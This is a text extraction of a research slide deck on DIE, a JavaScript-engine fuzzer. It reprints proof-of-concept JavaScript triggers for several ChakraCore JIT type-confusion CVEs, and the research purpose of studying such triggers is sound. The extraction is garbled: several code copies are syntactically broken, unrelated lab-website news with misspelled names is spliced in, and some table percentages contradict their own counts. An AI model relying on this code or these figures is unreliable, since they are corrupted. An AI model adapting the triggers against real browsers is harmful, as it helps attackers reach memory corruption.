Fuzzing JavaScript Engines with Aspect-preserving Mutation

Soyeon Park, Wen Xu, Insu Yun, Daehee Jang, Taesoo Kim
Everyone uses web browser (+ JS engine)

4,000,000,000

Chart showing the number of users in millions for different web browsers from 2014 to 2018.
We build practical systems with focuses on security, privacy, and scalability. We have been published in top academic conferences, and have contributed to Linux kernel, that you might be using every day. If you are interested in our work, please visit our website.

News (all/20/19/18/17/16/15/14)

- [03/18/2020] Our team won Perm2Own 2020 by exploiting time attacks
- [02/28/2020] Knave is accepted to S&P 20'
- [02/29/2020] DIE is accepted to S&P 20'
- [01/10/2020] Desensitization is accepted to NDSS 20'
- [12/18/2019] ArcHeap is accepted to Security’20'
- [11/13/2019] TypeDive got the Best Paper Award at WSA 2019
- [11/11/2019] Our talk of ESKi security is accepted to Security’20'
- [08/14/2019] Apollo is accepted to VLDB ‘20'
- [07/30/2019] TypeDive is accepted to CCS ‘19
- [07/22/2019] Hydra, Recipe, Shifftlock, and Spitits (4 papers) are accepted to ACM CCS 2019
- [07/11/2019] Google Tech Talk by Wen on file system
- [06/25/2019] Exploitation chain of VMware ESXi is accepted to Security’19
- [05/24/2019] Razor is accepted to Security’19
- [05/24/2019] $15k Bug Bounty from Microsoft (ChakraCore/CVE-2019-0609)
- [04/18/2019] libomk is accepted to ATC’19
JS bugs are security-critical

<table>
<thead>
<tr>
<th></th>
<th>Edge</th>
<th>Safari</th>
<th>Chrome</th>
<th>Firefox</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017</td>
<td></td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>2018</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2019</td>
<td></td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>2020</td>
<td></td>
<td></td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>

9/11 (82%)
Finding JS bugs is hard

- Large codebase
Finding JS bugs is hard

- Deep semantic bugs
Finding JS bugs is hard

- Deep semantic bugs

1 Google Project Zero issue trackers and commits of ChakraCore for security updates by Aug 2019
Motivating example

- Special conditions are necessary to discover new bug from old ones
- What human hacker is good at

```javascript
1  function opt(arr, obj) {
2      arr[0] = 1.1;
3      typeof(arr[obj]);
4      arr[0] = 2.3023e-320;
5  }
6  function main() {
7      let arr = [1.1, 2.2, 3.3];
8      for (let i = 0; i < 0x10000; i++){
9          opt(arr, {});
10      }
11      opt(arr, {toString: () => {  
12          arr[0] = {};
13          throw 1;
14      }});
15  }
16  
17  function opt(arr, obj) {
18      arr[0] = 1.1;
19      obj.x;
20      arr[0] = 2.3023e-320;
21  }
22  function main() {
23      let arr = [1.1, 2.2, 3.3];
24      for (let i = 0; i < 0x10000; i++){
25          opt(arr, {});
26      }
27      let get = Map.prototype.get;
28      Map.prototype.get = function (key) {
29          get = get;
30          arr[0] = {};
31          return this.get(key);
32      }
33      opt(arr, Int);
34      print(arr[0]);
35  }
36  main();
```

(a) CVE-2018-0840 (e.g., input corpus)
(b) CVE-2018-8288 (e.g., output test case)
Motivating example

- Special conditions are necessary to discover new bug from old ones
- JIT-able condition by for-loop & empty object

```javascript
function opt(arr, obj) {
  arr[0] = 1.1;
  typeof(arr[obj]);
  arr[0] = 2.3023e-320;
}

function main() {
  let arr = [1.1, 2.2, 3.3];
  for (let i = 0; i < 0x10000; i++){
    opt(arr, {});
  }
}

let get = Map.prototype.get;
Map.prototype.get = function (key) {
  Map.prototype.get = get;
  arr[0] = {};
  return this.get(key);
};
opt(arr, Int1);
print(arr[0]);
}

main();
```

(a) CVE-2018-0840 (e.g., input corpus)

(b) CVE-2018-8288 (e.g., output test case)
Motivating example

• Special conditions are necessary to discover new bug from old ones
  • “Function” which has side-effect

```javascript
function opt(arr, obj) {
  arr[0] = 1.1;
  typeof(arr[0]);
  arr[0] = 2.3023e-320;
}

function main() {
  let arr = [1.1, 2.2, 3.3];
  for (let i = 0; i < 0x10000; i++) {
    opt(arr, {});
  }
}

(b) CVE-2018-8288
(e.g., output test case)

(a) CVE-2018-0840
(e.g., input corpus)
```

• (precondition)
  ```javascript
  opt(arr, {toString: () => {
    arr[0] = {};
    throw 1;
  }});
  ```

• (type)
  ```javascript
  let get = Map.prototype.get;
  Map.prototype.get = function(key) {
    Map.prototype.get = get;
    arr[0] = {};
    return this.get(key);
  };
  ```
Motivating example

- Special conditions are necessary to discover new bug from old ones
- Instruction order

(a) CVE-2018-0840 (e.g., input corpus)
(b) CVE-2018-8288 (e.g., output test case)
Motivating example

• Special conditions are necessary to discover new bug from old ones
• Newly introduced code

(a) CVE-2018-0840 (e.g., input corpus)
(b) CVE-2018-8288 (e.g., output test case)
Aspects

• Key features that guide to discover new bugs, which are embedded in the Proof-of-Concept of existing bugs

```javascript
function opt(arr, obj) {
  arr[0] = 1.1;
  typeof(arr[0]);
  arr[0] = 2.3823e-320;
}

function main() {
  let arr = [1.1, 2.2, 3.3];
  for (let i = 0; i < arr.length; i++){
    opt(arr.{});
  }
  opt(arr. (toString: () => { 
    arr[0] = {};
    throw 1;
  }));
}

print(arr[0]);
}
main();

CVE-2018-0840
```

Assign float values to an array and order of the instructions

Type confusion
Aspects

• Key features that guide to discover new bugs, which are embedded in the Proof-of-Concept of existing bugs

```javascript
function opt(arr, obj) {
    arr[0] = 1.1;
    typeof(arr[obj]);
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3];
    for (let i = 0; i < arr.length; i++)
        opt(arr, {});
    opt(arr, {toString: () => {
        arr[0] = {};
        throw 1;
    }});

    print(arr[0]);
}

main();
```

CVE-2018-0840

Assign float values to an array and order of the instructions

For loop to invoke JIT compiler
Aspects

• Key features that guide to discover new bugs, which are embedded in the Proof-of-Concept of existing bugs

```javascript
function opt(arr, obj) {
  arr[0] = 1.1;
  typeof(arr[0]);
  arr[0] = 2.3023e-320;
}

function main() {
  let arr = [1.1, 2.2, 3.3];
  for (let i = 0; i < arr.length; i++)
    opt(arr, {});
  opt(arr, {toString: () => {
    arr[0] = {};
    throw 1;
  }});
  print(arr[0]);
}
main();
```

- Assign float values to an array and order of the instructions
- For loop to invoke JIT compiler
- Arrow function to assign object value to the same array

CVE-2018-0840
Our solution:
DIE: Fuzzing JS engine with generation and Aspect-preserving mutation
DIE overview

Original Seeds

Dynamic & Static analysis

Preprocessing

Typed-AST

Input generation

w/ instrumented JS engine

Execution

Code coverage

Feedback

Crash!
Preprocessing for typed-AST

Original Seeds

Instrument

Dynamic Analysis

Type analysis

Static Analysis

Pre-Processing

Typed-AST

AST +

Type Information

While

NUM

0

NUM

Array

Input generation

...
Type Analysis: dynamic analysis

- Execute instrumented corpus

```javascript
var n = 3
var array = new Array(n)
```
Type Analysis: dynamic analysis

• Execute instrumented corpus

```javascript
recordType()
var n = 3
recordType()
var array = new Array(n)
recordType()
```

Corpus
Type Analysis: dynamic analysis

• Execute instrumented corpus

```javascript
recordType()
var n = 3
recordType()
var array = new Array(n)
recordType()
```

Corpus

n : number
Type Analysis: dynamic analysis

• Execute instrumented corpus

```javascript
recordType()
var n = 3
recordType()
var array = new Array(n)
recordType()
```

Corpus

n : number
array: numberArray
Type Analysis: dynamic analysis

• Execute instrumented corpus

```javascript
var n = 3
var array = new Array(n)
```
Type Analysis: static analysis

- Propagate type information from bottom to top with custom rules
Type Analysis: static analysis

• Propagate type information from bottom to top with custom rules
Input generation

Original Seeds

Typed-AST

Generation Engine

Mutation Engine

Mutate (Aspect-preserving)

Mutated Typed-AST

Mutated Seeds
Aspect-preserving mutation

- **Type & structure** preserving mutation

```javascript
function opt(arr, obj) {
    arr[0] = 1.1;
    opt(arr(obj));
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3];
    for (let i = 0; i < 0x10000; i++)
        opt(arr); // For loop to invoke JIT compiler
    opt(arr, (toString: () => {
        arr[0] = {};
        throw 1;
    }));
    print(arr[0]);
}
main();
CVE-2018-0840
```

Assign float values to an array and order of the instructions

For loop to invoke JIT compiler

Arrow function to assign object value to the same array
Type-preserving mutation

• Mutate typed-AST node with same typed node
Type-preserving mutation

- Mutate typed-AST node with same typed node
Type-preserving mutation

- Mutate typed-AST node with same typed node

Typed-AST
IMMUTABLE
while
==
[]
a
0
NUM
NUM ARRAY
NUM

Type Information

Generation Engine

Mutation Engine

Mutated Typed-AST
IMMUTABLE
while
==
[]
a
.length
a
0
NUM
NUM ARRAY
NUM

NUM
NUM ARRAY
a
length
NUM
a
0
NUM
NUM ARRAY
NUM

a
-length
a
0
NUM
NUM ARRAY
NUM
Structure-preserving mutation

• Selectively mutate nodes to avoid breaking control-flow structure
Structure-preserving mutation

• Selectively mutate nodes to avoid breaking control-flow structure
Execution with instrumented JS engine
Implementation

• Core fuzzing engine
  • Type analyzer
    • Dynamic instrumentation tool
  • Generation engine
  • Mutation engine
  • AFL modification

• Distributed fuzzing harness
  • Coordinator
  • Local agent
  • Crash reporter

• Total

3,677 lines of TypeScript
222 lines of Python
10,545 lines of TypeScript
2,333 lines of TypeScript
453 lines of C

205 lines of TypeScript
1,419 lines of Python and Shell Script
492 lines of Python
19,346 lines of code
Evaluation

Fuzzing JS engines with DIE in the wild

... and extra information to understand the techniques applied on DIE
Fuzzing JS engines in the wild

• We ran DIE up to 3 weeks against 3 major JS engines
  • 48 unique bugs in total
  • 39 fixed bug
  • 11 acknowledged CVEs
  • 27K USD bug bounty reward as of now
Evaluation: effectiveness of leveraging aspect

- DIE found 84 distinct crashes and 28 unique bugs in ChakaCore

<table>
<thead>
<tr>
<th>Preserved aspect</th>
<th>Bug</th>
<th>Crash</th>
</tr>
</thead>
<tbody>
<tr>
<td>Structure &amp; Type</td>
<td>14/28 (50.00%)</td>
<td>40/84 (47.62%)</td>
</tr>
<tr>
<td>Structure-only</td>
<td>12/28 (42.86%)</td>
<td>32/84 (42.86%)</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>22/28 (92.86%)</strong></td>
<td><strong>72/84 (90.48%)</strong></td>
</tr>
</tbody>
</table>
Case study: CVE-2019-0990

- corpus: CVE-2018-0777

```javascript
function opt(arr, start, end) {
  for (let i = start; i < end; i++) {
    if (i === 10) {
      i += 0;
    }
    start++; ++start; --start;
    arr[i] = 2.3023e-320;
  }
  arr[start] = 2.3023e-320;
}

function main() {
  let arr = new Array(100);
  arr.fill(1.1);

  for (let i = 0; i < 1000; i++) {
    opt(arr, 0, 3);
    opt(arr, 0, i);
  }
  opt(arr, 0, 100000);
}
main();
```
Evaluation: aspect preserving

- Ratio difference of JIT-optimization phase invocation between the generated inputs and seed files
  - vs DIE\(_t\) : 1.53x
  - vs CodeAlchemist : 4.29x
  - vs Superion: negligible
    - Mutation-based fuzzer

DIE\(_t\) : DIE without structure-preserving (type preserving only)
Evaluation: validity of generated input

• Error rate of generated inputs
  • vs Superion: 2.31x
  • vs CodeAlchemist: 2.31x
  • vs jsfunfuzz: 2.42x
  • $\text{DIE}_c$ produces less error rate than vanilla

$\text{DIE}_c$ : DIE without coverage feedback
Evaluation: comparison w/ state-of-the-art fuzzers

• Number of unique crashes found by DIE vs state-of-the-art fuzzers for 24 hours

<table>
<thead>
<tr>
<th>JS engine</th>
<th>DIE</th>
<th>DIE&lt;sub&gt;t&lt;/sub&gt;</th>
<th>Superion</th>
<th>CodeAlchemist</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChakraCore 1.11.10</td>
<td>17</td>
<td>7</td>
<td>0</td>
<td>3</td>
</tr>
<tr>
<td>JavaScriptCore 2.24.2</td>
<td>2</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>V8 7.7.100</td>
<td>2</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>

DIE<sub>t</sub> : DIE without structure-preserving (type preserving only)
Conclusion

• DIE is a JS engine fuzzer that preserves the aspects from PoC of existing bugs achieved by type and structure preserving

• Discovered 48 unique bugs with 11 CVEs assigned

• Open sourced: https://github.com/sslab-gatech/DIE
Thank you!

Q & A